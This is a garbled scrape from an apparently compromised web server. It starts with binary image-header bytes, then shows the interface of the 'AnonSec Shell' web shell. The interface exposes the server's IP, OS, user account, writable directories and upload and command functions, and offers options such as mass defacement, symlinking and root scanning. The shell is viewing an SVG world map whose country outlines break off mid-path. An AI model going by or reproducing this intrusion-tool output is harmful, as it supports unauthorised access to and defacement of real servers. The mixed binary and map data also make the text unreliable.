JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/www/images/front/system/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/www/images/front/system/static//footer-map2.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 26.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Vrstva_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 720 540" style="enable-background:new 0 0 720 540;" xml:space="preserve">
<style type="text/css">

		.st0{fill-rule:evenodd;clip-rule:evenodd;fill:#BFBFBF;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}
	.st1{fill:#BFBFBF;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}
	.st2{fill-rule:evenodd;clip-rule:evenodd;fill:#BFBFBF;}
	.st3{fill:none;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}

		.st4{fill-rule:evenodd;clip-rule:evenodd;fill:#2BA4E0;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}
	.st5{fill:#2BA4E0;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}

		.st6{fill-rule:evenodd;clip-rule:evenodd;fill:#878787;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}
	.st7{fill:#EFEFEF;stroke:#F9F9F9;stroke-width:0.15;stroke-linecap:round;stroke-linejoin:round;}
	.st8{clip-path:url(#SVGID_00000172409338436079301960000004412329970582022036_);}
	.st9{fill:#2BA4E0;stroke:#F9F9F9;stroke-width:4.456310e-02;stroke-linecap:round;stroke-linejoin:round;}
</style>
<g id="Background">
</g>
<g id="Zimbabwe">
	<polygon class="st0" points="401.9,312.9 401.9,312.6 401.9,311.9 401.9,311.2 401.9,310.8 401.8,310.3 401.8,309.9 401.9,309.7
		401.9,309.6 401.8,309.5 401.7,309.5 401.5,309.5 401.3,309.3 401,309.1 400.6,309 400,308.9 399.5,308.5 399.1,308.4 399,308.3
		398.6,308 398,308 397.5,308 397.1,308 397,307.9 397,307.5 397,307.2 396.7,307.2 396.2,307.2 395.7,307.2 395.2,307.3
		394.9,307.5 394.4,307.8 394.2,307.9 394.1,307.9 394,308 394,308.3 394,308.6 393.9,308.9 393.8,309.2 393.8,309.2 393.1,309.5
		392.6,309.7 392.1,310 391.8,310.3 391.5,310.8 391.1,311.4 390.8,311.8 390.3,312.3 389.9,312.5 389.5,312.5 389,312.3
		388.6,312.2 388.3,312.4 388.1,312.3 387.8,312.1 387.6,312 387.5,312.1 387.3,312.1 386.9,312 386.9,312.1 386.8,312.2
		386.9,312.4 386.9,312.5 387,312.7 387.1,312.8 387.2,313 387.3,313.2 387.5,313.4 387.8,313.9 387.9,314 387.9,314.2 388.2,314.5
		388.2,314.6 388.2,314.9 388.4,315.5 388.6,315.9 388.7,315.9 389.2,316.3 389.6,316.7 390,316.9 390.4,317 390.5,317.1
		390.6,317.2 390.7,317.4 390.7,317.8 390.7,318 391.1,318 391.4,318 391.5,318 391.5,318.1 391.5,318.2 391.5,318.4 391.5,318.6
		391.5,318.8 391.4,319 391.4,319.3 391.5,319.4 391.7,319.7 391.9,319.9 392,320.3 392,320.4 392.1,320.4 392.4,320.5 393,320.6
		393.5,320.7 393.8,320.8 393.9,320.9 394,320.9 394,320.9 394,321.2 394,321.3 394,321.4 394.1,321.5 394.1,321.5 394.4,321.5
		394.5,321.7 394.6,321.8 394.6,321.8 395.2,321.7 395.7,321.8 396.2,322 396.7,322.1 397.2,322 397.6,322 397.9,322 398.1,322.1
		398.3,322.3 398.6,322 398.9,321.7 399.2,321.3 399.5,321 399.8,320.7 400.1,320.3 400.5,319.9 400.6,319.8 400.6,319.8
		400.5,319.4 400.7,319 400.7,318.8 400.7,318.5 400.8,318.4 400.8,318.3 401.1,318 401.4,317.7 401.5,317.4 401.8,316.9
		401.8,316.7 401.8,316.6 401.8,316.4 401.6,316.2 401.5,315.9 401.4,315.5 401.5,315.2 401.6,315 401.6,314.9 401.5,314.8
		401.4,314.7 401.3,314.7 401.3,314.5 401.3,314.4 401.3,314.3 401.6,314.1 401.7,314.1 401.7,314 401.7,313.9 401.8,313.5
		401.9,313.2 401.9,313.1 401.9,313 	"/>
</g>
<g id="Zambia">
	<polygon class="st0" points="403,296.4 403.1,296.4 403.2,296.3 403.6,295.9 403.6,295.8 403.6,295.7 403.4,295.5 403.4,295.4
		403.4,295.1 403.3,295 403.1,294.9 403,294.7 403,294.5 403.1,294.3 403,294.2 402.9,294 402.8,293.9 402.8,293.7 402.7,293.7
		402.6,293.7 402.5,293.8 402.5,293.8 402.4,293.7 402.4,293.6 402.4,293.5 402.3,293.4 402.2,293.3 402.2,293.3 402.1,293.2
		401.9,293.1 401.6,293 401.4,292.8 401.3,292.7 401.1,292.6 400.9,292.6 400.7,292.5 400.5,292.5 400.3,292.5 400.3,292.4
		400.3,292.2 400.2,292.2 400.1,292.1 399.9,292.1 399.9,292.2 399.8,292.1 399.7,292 399.6,291.9 399.5,291.7 399.4,291.6
		399.2,291.5 398.6,291.5 398.5,291.5 398.4,291.3 398.3,291.2 398.2,291 398.1,290.7 398,290.5 397.7,290.6 397.2,290.7
		396.6,290.8 396.1,290.9 395.5,291 395,291.1 394.5,291.1 394.4,291.2 394.4,291.4 394.4,291.7 394.3,291.9 394.1,292.1
		394.1,292.2 393.9,292.4 393.8,292.5 393.5,292.7 393.4,292.9 393.4,293 393.6,293.5 393.8,293.9 393.8,294.2 393.8,294.4
		393.8,294.8 393.8,295.3 393.7,295.5 393.8,295.8 393.8,296.1 393.6,296.4 393.5,296.7 393.4,297.1 393.3,297.6 393.2,297.9
		393.3,298.1 393.3,298.2 393.4,298.4 393.4,298.6 393.6,298.8 393.6,298.8 394,299.2 394.1,299.3 394.4,299.6 394.6,299.8
		394.8,299.9 395.1,300 395.3,300 395.4,300 395.4,299.9 395.4,299.8 395.4,299.6 395.4,299.5 395.5,299.5 395.8,299.5 395.9,299.4
		396,299.4 396,299.7 396,300 396,300.4 396,300.9 396,301.3 396,301.6 396,302.1 396,302.1 395.9,302.2 395.8,302.3 395.7,302.2
		395.7,302.1 395.6,301.9 395.6,301.9 395.5,301.8 395.3,301.9 395.1,302 394.9,302.1 394.8,302.2 394.6,302.2 394.4,302.1
		394.3,302 394.2,301.8 394.1,301.5 394,301.2 393.9,301.1 393.8,301 393.7,301 393.5,300.9 393.5,300.7 393.4,300.4 393.4,300.3
		393.3,300.2 393.2,300.1 392.9,300 392.6,299.9 392.2,299.7 392,299.7 391.8,299.6 391.6,299.5 391.6,299.5 391.5,299.2
		391.4,298.9 391,298.6 390.9,298.2 390.9,298.1 390.7,298.1 390.6,298.2 390.6,298.3 390.5,298.6 390.4,298.8 390.4,298.9
		390.3,298.9 390.2,299 390,299 389.7,299 389.4,298.9 389.2,298.9 388.8,298.8 388.6,298.8 388.4,298.7 388.3,298.6 387.8,298.5
		387.6,298.5 387.5,298.4 387.4,298.3 387.3,298.2 387.2,298 387.2,297.7 387.2,297.5 387.3,297.3 387.2,297.3 387.1,297.3
		387,297.4 386.8,297.4 386.4,297.5 386.2,297.5 386.1,297.6 386,297.6 385.7,297.8 385.6,297.8 385.4,297.7 385.3,297.6
		385.4,297.5 385.5,297.4 385.4,297.1 385.3,297 385,296.9 385,296.9 384.9,296.7 384.8,296.6 384.7,296.5 384.6,296.5 384.7,296.8
		384.7,297.2 384.7,297.5 384.8,297.6 384.8,297.7 384.7,297.8 384.7,298 384.6,298.1 384.6,298.2 384.6,298.4 384.6,298.7
		384.6,299 384.6,299.3 384.6,299.8 384.6,300 384.5,300.3 384.5,300.5 384.4,300.7 384.4,300.8 384.6,301.2 384.5,301.2
		384.4,301.3 384.3,301.3 380.7,301.3 380.7,301.6 380.7,302.3 380.6,303.1 380.6,303.8 380.6,304.5 380.6,305.2 380.6,305.9
		380.6,306.6 380.6,307.4 380.6,307.9 380.7,308.6 380.9,309.3 381,309.4 381.2,309.5 381.5,309.8 381.7,310 382,310.4 382.4,310.8
		382.9,311.3 383.3,311.6 383.7,311.5 384.1,311.5 384.5,311.4 384.9,311.3 385,311.3 385.9,311.4 386.3,311.4 386.4,311.5
		386.6,311.6 386.9,312 387.3,312.1 387.5,312.1 387.6,312 387.8,312.1 388.1,312.3 388.3,312.4 388.6,312.2 389,312.3 389.5,312.5
		389.9,312.5 390.3,312.3 390.8,311.8 391.1,311.4 391.5,310.8 391.8,310.3 392.1,310 392.6,309.7 393.1,309.5 393.8,309.2
		393.8,309.2 393.9,308.9 394,308.6 394,308.3 394,308 394.1,307.9 394.2,307.9 394.4,307.8 394.9,307.5 395.2,307.3 395.7,307.2
		396.2,307.2 396.7,307.2 397,307.2 397,306.9 396.9,306.5 396.9,306.4 396.8,306.1 396.7,305.9 396.7,305.8 396.7,305.7
		397.1,305.5 397.3,305.4 397.6,305.3 398.1,305.2 398.5,305.1 398.9,304.9 399.3,304.8 399.5,304.7 399.7,304.6 400.2,304.4
		400.3,304.4 400.6,304.3 400.8,304.2 401.3,304 401.9,303.8 402.2,303.7 402.6,303.5 402.5,303.4 402.4,303.4 402.3,303.5
		402.2,303.6 402.2,303.6 402.1,303.5 402.1,303.5 402,303.2 401.9,303.1 401.8,303 401.7,303 401.8,302.9 401.8,302.9 401.8,302.8
		401.8,302.7 401.6,302.6 401.6,302.6 401.7,302.5 401.9,302.4 401.9,302.3 402,302.1 402.1,301.9 402.2,301.8 402.2,301.6
		402.2,301.5 402.2,301.2 402.2,301 402.2,301 402.1,300.8 402.2,300.6 402.3,300.5 402.7,300.3 403,300.1 403.1,300.1 403.2,299.9
		403.3,299.8 403.2,299.8 403,299.8 402.9,299.7 402.8,299.3 402.9,298.8 402.9,298.6 402.9,298.4 402.9,298.2 402.8,298.1
		402.8,298 402.8,297.7 402.8,297.7 403,297.4 403.1,297.2 403,297 402.9,296.8 402.9,296.6 402.9,296.6 402.9,296.5 	"/>
</g>
<g id="Yemen">
	<path class="st0" d="M443.8,244l-0.5,0l-0.2,0.1l-0.1,0l-0.2-0.2l-0.2,0l-0.2,0.1l0,0.1l0,0.1l-0.1,0.1l0.4,0.2l0.2,0.2l0.2,0
		l0.8-0.1l0.3-0.2l0.3-0.1l0.1-0.1l0.1-0.1L443.8,244z M421.2,241.6l-0.1,0.2l0.1-0.1l0.1-0.1L421.2,241.6L421.2,241.6z
		 M421.3,241.1L421.3,241.1l0-0.1l-0.1-0.1l-0.1,0.1L421.3,241.1L421.3,241.1z M420.8,237.9l0,0.2l0,0.1l0.1,0l0-0.1l0-0.1
		L420.8,237.9L420.8,237.9z M440.9,234.5l-0.1-0.3l-0.1-0.3l-0.1-0.2l-0.1-0.1l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2
		l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.1-0.2l-0.5,0.1l-0.4,0
		l-0.5,0.1l-0.6,0.1l-0.5,0.1l-0.7,0.1l-0.6,0.1l-0.6,0.1l-0.6,0.1l-0.5,0.1l-0.3,0.1l-0.3,0.2l-0.5,0.3l-0.5,0.3l-0.3,0.2l-0.3,0.4
		l-0.1,0.2l-0.2,0.4l-0.2,0.3l-0.2,0.3l-0.1,0.3l-0.1,0.5l-0.1,0.1l-0.2,0.1l-0.2,0.1l-0.3,0l-0.2-0.3l-0.2-0.3l-0.1-0.1l-0.1,0
		l-0.3,0l-0.4,0l-0.5,0l-0.5-0.1l-0.5,0l-0.2,0l-0.3-0.2l-0.1,0l-0.1,0h-0.4h-0.4l-0.4,0.1l-0.4,0l-0.4,0l-0.1,0.1h-0.1l-0.1,0.1
		l-0.1,0l-0.1-0.1l-0.1,0l-0.2,0l-0.1-0.1l-0.1-0.1l-0.1-0.1l-0.1,0h-0.1l-0.1,0.1l-0.1,0.1l-0.2,0.2l0,0.1l0.1,0.1l0,0.1l-0.1,0.1
		l0,0.2l0,0.1l0,0.3l0.1,0.2l0.1,0.1l0,0.1l0,0.2l-0.1,0.1l-0.1,0.2l0,0.1l-0.1,0.1l-0.4,0.3l0.1,0.8l-0.2,0.8l0.2,0.6v0.1l0,0.1
		l-0.1-0.1l-0.1-0.1l-0.1,0.2l0.4,0.2l0.1,0.3l0.1,0.1l0,0.1l0,0.1l0,0.1l0,0.1l0.2,0.5v0.1l0,0.1l0.1,0.3l0.1,0.3l0,0.4l0.3,0.3
		l0.1,0.4v0.1l-0.1,0.8l0.5,1l0,0.3l0.3-0.1l0.4,0.2l0.2,0.1l0.1,0l0.2-0.1l0.3,0l0.2,0l0.5-0.3l0.3,0.1l0.3,0l0.3-0.1l0.1-0.3
		l0.1-0.1l0.4-0.1l0.3-0.4l0.2-0.2l0.5-0.1l0.5-0.1l0.6,0l0.3,0l0.2-0.1l0.4-0.2l0.5-0.1l0.3-0.1l0.4-0.4l0.4-0.2l0.1-0.1l0.1-0.1
		l0.6,0.1l0.3,0l0.3-0.1l0.1,0l0.2-0.2l0.3-0.3l0.1-0.2l0.1-0.2l0.1-0.1l0.5-0.3l0.4-0.2l0.7-0.2l0.5,0l0.3-0.2l0.4-0.2l0.9-0.2
		l0.6-0.2l0.5-0.2l0.1-0.1l0.1-0.1l0.2,0l0.2-0.2l0.2-0.1l0.2-0.2v-0.2l-0.1-0.4l0.1-0.5l0.2-0.3l0.2-0.2l0.2-0.2l1-0.4l-0.1-0.3
		L440.9,234.5z"/>
</g>
<g id="Western_Sahara">
	<polygon class="st0" points="321.4,210.5 321.4,210.5 321.4,210.6 321.5,210.8 321.5,211 321.4,211.1 321.4,211.2 321.4,211.3
		321.4,211.4 321.5,211.6 321.5,211.6 321.4,211.7 321.2,211.8 321,211.8 320.8,211.8 320.6,211.8 320.5,211.8 320.3,211.8
		320.2,211.8 320.1,211.9 319.9,212 319.7,212.2 319.6,212.3 319.4,212.3 319.2,212.3 319.1,212.2 319,212.2 318.9,212.2
		318.8,212.2 318.7,212.3 318.6,212.3 318.4,212.2 318.1,212.1 318,212 317.8,212 317.6,211.9 317.5,212 317.3,212 317.1,212.1
		316.9,212.1 316.6,212.2 316.4,212.2 316.5,212.4 316.5,212.6 316.5,212.7 316.5,212.8 316.4,212.9 316.2,213.1 316.1,213.2
		316,213.3 316,213.4 315.9,213.6 315.8,213.7 315.7,213.9 315.7,214 315.6,214 315.4,214.1 315.2,214.1 315.1,214.1 315,214.2
		315,214.2 315,214.4 315,214.5 314.9,214.6 314.9,214.8 314.8,215 314.7,215.3 314.6,215.5 314.5,215.9 314.5,216.2 314.4,216.5
		314.3,216.7 314.2,216.8 314.1,217 313.9,217.1 313.8,217.2 313.6,217.3 313.4,217.4 313.2,217.5 313.2,217.6 313.1,217.6
		313,217.8 312.8,218 312.7,218.2 312.6,218.5 312.5,218.6 312.4,218.7 312.3,218.8 312.1,218.9 311.9,219 311.7,219.1 311.5,219.2
		311.4,219.2 311.3,219.4 311.2,219.5 311.1,219.8 311,220 311,220.2 310.8,220.7 310.8,221 310.7,221.2 310.7,221.5 310.6,221.8
		310.6,222.1 310.5,222.3 310.5,222.5 310.4,222.6 310.3,222.7 310.2,222.9 310.1,223 310,223.1 309.9,223.2 309.8,223.4
		309.7,223.5 309.7,223.6 309.7,223.7 309.6,223.9 309.6,224.1 309.4,224.3 309.2,224.4 309,224.4 308.6,224.4 308.4,224.4
		308,224.4 307.8,224.3 307.5,224.3 307.2,224.3 306.9,224.3 306.6,224.3 305.9,224.3 305.6,224.3 305.2,224.4 305.1,224.4
		305.1,224.4 305,224.5 304.8,225.7 304.9,225.8 304.9,225.6 305,225.4 305,225.1 305.1,224.6 305.4,224.6 305.8,224.6 306.3,224.6
		306.7,224.6 307.1,224.6 307.6,224.6 308,224.6 308.5,224.6 308.9,224.6 309.4,224.6 309.8,224.6 310.3,224.6 310.7,224.6
		311.1,224.6 311.6,224.6 312,224.6 312.5,224.6 312.8,224.6 312.8,224.3 312.8,224.1 312.8,223.8 312.7,223.5 312.7,223.2
		312.7,222.9 312.7,222.6 312.7,222.3 312.7,222.1 312.7,221.9 312.6,221.6 312.6,221.5 312.6,221.3 312.7,221.2 312.9,220.9
		313.1,220.7 313.5,220.5 313.7,220.3 313.8,220.3 314.2,220.2 314.5,220.1 314.7,219.9 314.9,219.9 314.9,219.6 314.9,219.4
		314.9,219.1 314.9,218.8 314.9,218.4 314.9,218.1 315,217.8 315,217.5 315,217.2 315,216.9 315,216.6 315,216.3 315,216 315,215.7
		315.1,215.4 315.1,215.1 315.1,214.8 315.1,214.5 315.1,214.2 316.5,214.2 316.8,214.2 319.3,214.2 319.7,214.2 321.5,214.2
		321.5,214 321.5,213.6 321.5,213.1 321.6,212.6 321.6,212.2 321.6,211.7 321.6,211.4 321.6,210.9 321.6,210.5 	"/>
</g>
<g id="Wallis_and_Fortuna">
	<path class="st0" d="M693.1,304L693.1,304l-0.1,0l0,0.1l0.1,0l0.1,0l0,0l-0.1,0L693.1,304z M697.4,301.8L697.4,301.8l-0.1,0.2
		l0,0.1l0,0l0.1-0.1L697.4,301.8z"/>
</g>
<g id="Vietnam">
</g>
<g id="Venezuela">
	<path class="st0" d="M217.9,252L217.9,252l-0.3,0.2l0,0.1l0,0.2l0.1,0l0.2-0.1l0.1-0.1l0-0.1L217.9,252L217.9,252L217.9,252z
		 M218,251.7l-0.1,0l-0.1,0.1l0,0.1l0.2-0.1L218,251.7l0.2,0l0,0h0L218,251.7L218,251.7z M209.6,248l0.1,0L209.6,248l-0.1-0.2h-0.2
		l-0.1,0.1l0.1,0.1L209.6,248z M211.6,247.8l0.1,0l0.1,0.1l0.1,0l0.1,0l0.1,0l0.2-0.2l0,0l0-0.3l-0.1-0.1l-0.2,0.2l0,0.1l-0.2,0
		l-0.1-0.1l0-0.1l-0.1,0l-0.2,0.1l-0.1,0.2l0.1,0L211.6,247.8z M220,253.7l-0.3-0.5l-0.3-0.1l-0.3,0l-0.1,0l-0.2,0.1l-0.6-0.1
		l-0.1,0l-0.3,0.2l-0.3,0l-0.2,0.2l-0.3-0.2l-0.2-0.1l-0.2-0.1l0.7,0l0.1-0.3l0.1-0.3l0.1-0.2l0,0l0.1-0.2l0-0.1l0.1-0.1l0.1-0.1
		l0.3-0.1l0.1-0.2l-0.1-0.2l-0.3-0.2l-0.4-0.1l-0.1-0.1l-0.4-0.5l-0.1-0.1l-0.1,0.2l-0.3,0l0,0.1l0,0.1l0,0.2l0-0.1l-0.1-0.1l0-0.1
		l0-0.1l-0.1-0.2l-0.2-0.2l-0.1,0l-0.1,0l-0.1,0l0,0.1l0,0.2l0,0.1l0,0l0,0l-0.1-0.1l-0.1,0.1l0,0.1l0,0l0,0l-0.1-0.3l-0.2-0.6
		l-0.1,0l-0.1,0l0,0.1l0,0.1l-0.1,0.1l-0.2,0l0.1-0.1l0.1-0.2l0-0.2l0-0.1l-0.1-0.1h-0.1l-0.1,0l0-0.2l-0.1,0l0.4-0.1l0.6,0l0.3-0.2
		l0.4,0l0.2-0.1l0.1-0.1l-0.7,0.1l-0.9-0.1l-0.5,0.1l-0.2,0l-0.3,0l-0.6,0.1l-0.7,0l-0.6,0.1l-0.2,0l0.1,0.2l0.2-0.1l0.6,0l0.2,0.1
		l-0.1,0.1l-0.1,0l-0.7,0l-1.4,0.8l-0.2,0l-0.2,0l-0.2,0l-0.4-0.1l-0.3-0.1l-0.3-0.1l-0.4-0.1l-0.4-0.5v-0.1l0-0.1l-0.3-0.1l-1.5,0
		l-0.3,0.1l-0.9,0.1l-0.6,0.1l-0.5,0l-0.2-0.2l-0.1-0.3l0-0.3l0.1-0.2l-0.1-0.1l0-0.2l-0.1-0.2l-0.4-0.3l-0.4-0.3l-0.4-0.1l-0.3-0.1
		l-0.6,0l-0.1,0l-0.1,0l-0.1-0.2l-0.1-0.2l-0.1-0.4l0-0.4l0-0.1l-0.1-0.1l-0.2-0.1l-0.2,0.1l-0.2,0.1l-0.1,0.2l-0.1,0.3l0.1,0.4
		l0,0.1l0,0.1l0.6-0.1h0.2l0.1,0.3l-0.1,0.1l-0.2,0.1l-0.3-0.2l-0.1,0l-0.1,0.2l-0.1,0.1l-0.6,0.2l-0.5,0.1l-0.9,0.5l-0.4,0.1v0.3
		l-0.2,0.1l0,0.4l0,0.2l0,0.1l0.1,0.5l0.2,0.3l0.1,0.3l0.2,0.4l0,0.3L198,251l0,0.4l-0.2,0.3l-0.1,0.1l-0.1,0.1l-0.5,0.2h-0.2
		l-0.1,0l-0.1-0.1l-0.1-0.3l0-0.2l-0.1-0.1l-0.1-0.1l-0.2-0.3l0-0.2l-0.2-0.4l0.3-0.6l0.1-0.1l0.2-0.3l0.3-0.3l0.2-0.5v-0.1
		l-0.2-0.2l-0.1-0.4h0.1l0.1,0l-0.3-0.3l-0.1-0.1l-0.2-0.5l0-0.1l0-0.2l0.1-0.1l0.1,0l0.8-0.2l0.1-0.1l0.1-0.1l0.1-0.1l-0.1,0
		l-0.1,0.1l-0.3,0.1l-0.4,0.1l-0.5,0.1l-0.1,0.1l-0.5,0.9l-0.4,0.2l-0.1,0.1l-0.1,0.2l-0.2,0.3l-0.1,0.2l-0.3,0.5l-0.2,0.7l-0.1,0.4
		l-0.1,0.5l-0.1,0.3l-0.2,0.2l-0.2,0.2l-0.2,0.3l-0.1,0.2l0,0.1l0.1,0.1l0.3-0.1l0.1-0.1l0.2-0.1l0.1,0l0.1,0.2l0.1,0l0.1,0l0.1,0.1
		l0.1,0.6l0.1,0.5l0.3,0.3l0.2,0.2l0,0.2l0,0.3l0,0.1l-0.1,0.1l-0.1,0.2l0,0.4l0,0.1l0,0.3v0.2l0.1,0.1l0.1,0.1l0.2,0l0.2,0l0.1,0.3
		l0.1,0.3l0.1,0.1l0.2,0.1l0.2,0l0.4-0.1l0.3,0l0.5,0.1h0.2l0.2,0l0.4-0.2l0.1,0l0.2,0l0.2,0.1l0.1,0.1l0.2,0.1l0.2,0.1l0.1,0h0.1
		l0.1,0l0.4,0.5l0.3,0.5l0.3,0.4l0.3,0.4l0,0l0.1,0l0.1,0l0.1,0.1l0.1,0l0.2-0.1l0.3,0l0.4,0.1h0.5l0.6-0.1l0.4-0.1l0.2-0.1l0.3,0
		l0.3,0.1l0.2,0.1l0,0.1l0.1,0.2l-0.1,0.2l-0.2,0.2l-0.1,0.3l0,0.3l-0.1,0.2l-0.2,0.2l-0.1,0.2l0,0.3l0,0.5l-0.1,0.6l0,0.4l0.1,0.1
		l0,0.2l0,0.2l0,0.2l0.1,0.2l0.1,0.5l0.1,0.2l0.1,0.1l0.1,0.1l0.3,0.5l0.1,0.1l0,0.1l0,0.1l0,0l-0.3,0.3l-0.6,0.7l0,0.1v0.1l0.2-0.1
		l0.2,0.1l0.1,0l0,0l0,0.2l0.1,0l0.1,0.1l0.2,0.2l0.1,0.2l0.1,0.1l0.1,0.1l0,0.1l0,0.1l0.1,0.3l0.1,0.1l0,0.1l0,0.1l0.1,0.1l0.1,0.3
